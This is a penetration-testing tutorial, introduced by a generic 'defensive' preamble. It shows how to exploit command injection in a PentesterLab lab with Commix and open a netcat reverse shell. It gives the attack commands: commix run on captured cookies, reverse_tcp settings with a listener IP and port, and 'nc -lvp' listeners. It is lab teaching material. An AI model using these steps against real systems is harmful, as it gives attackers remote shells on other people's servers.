Welcome to this technical engineering guide published by Ziqro Innovations. In modern enterprise IT ecosystems and digital infrastructure, mastering Exploit Command Injection Vulnearbility with Commix and Netcat is crucial for defensive hardening, proactive vulnerability remediation, and regulatory compliance. The following step-by-step walkthrough outlines key concepts, practical command syntax, and defensive methodologies.
Commix is an automated command injection tool. It lets you have a meterpreter or netcat session via command injection if the web application is vulnerable to it. It’s pretty efficient and reliable. Commix is widely used by security experts, penetration testers and also web developers in order to find vulnerabilities. In this article, we will learn how to get a netcat session using commix. For the detailed guide on commix click here.
Requirements :
- PentesterLab (for Linux testing)
- Kali Linux
- Commix
As you can see in the image below the environment of PentesterLab is vulnerable to command injection.
capture the cookies of pentesterlab in burp suite as shown in the image below :
Copy the contents of the cookies in a TXT file and use the following command to attack :
commix -r /root/Desktop/1.txt
As the exploitation is successful, it will ask you if you want to load the pseudo terminal or not. Type ‘y’ for the pseudo terminal and it will be loaded. Use the command ‘whoami’ to check the user as shown in the image :
Now that you are in the pseudo terminal, type the following set of command in order to generate reverse shell :
reverse_tcp set lhost 192.168.1.107 set lport 4321
After executing the above commands, it will ask you if you want to have a netcat shell or other (meterpreter) shell. Choose option 1 as we will try to take a netcat session. Then choose option 1 to use default netcat settings for the target. Then type y to use /bin as your subdirectory.
Simultaneously, turn on the netcat listener by using the following command :
nc -lvp 4321
And as the execution of the steps goes right, you will have your session as shown in the image below :
Another method to get a netcat session is by using different settings of netcat. For this, repeat the above steps, but this time around, choose option 3 under the category of ‘unix-like targets’ for the traditional netcat settings.
Again, simultaneously start the netcat listener with the following command :
nc -lvp 1234
This way, you can use commix yet again to gain netcat session through various methods.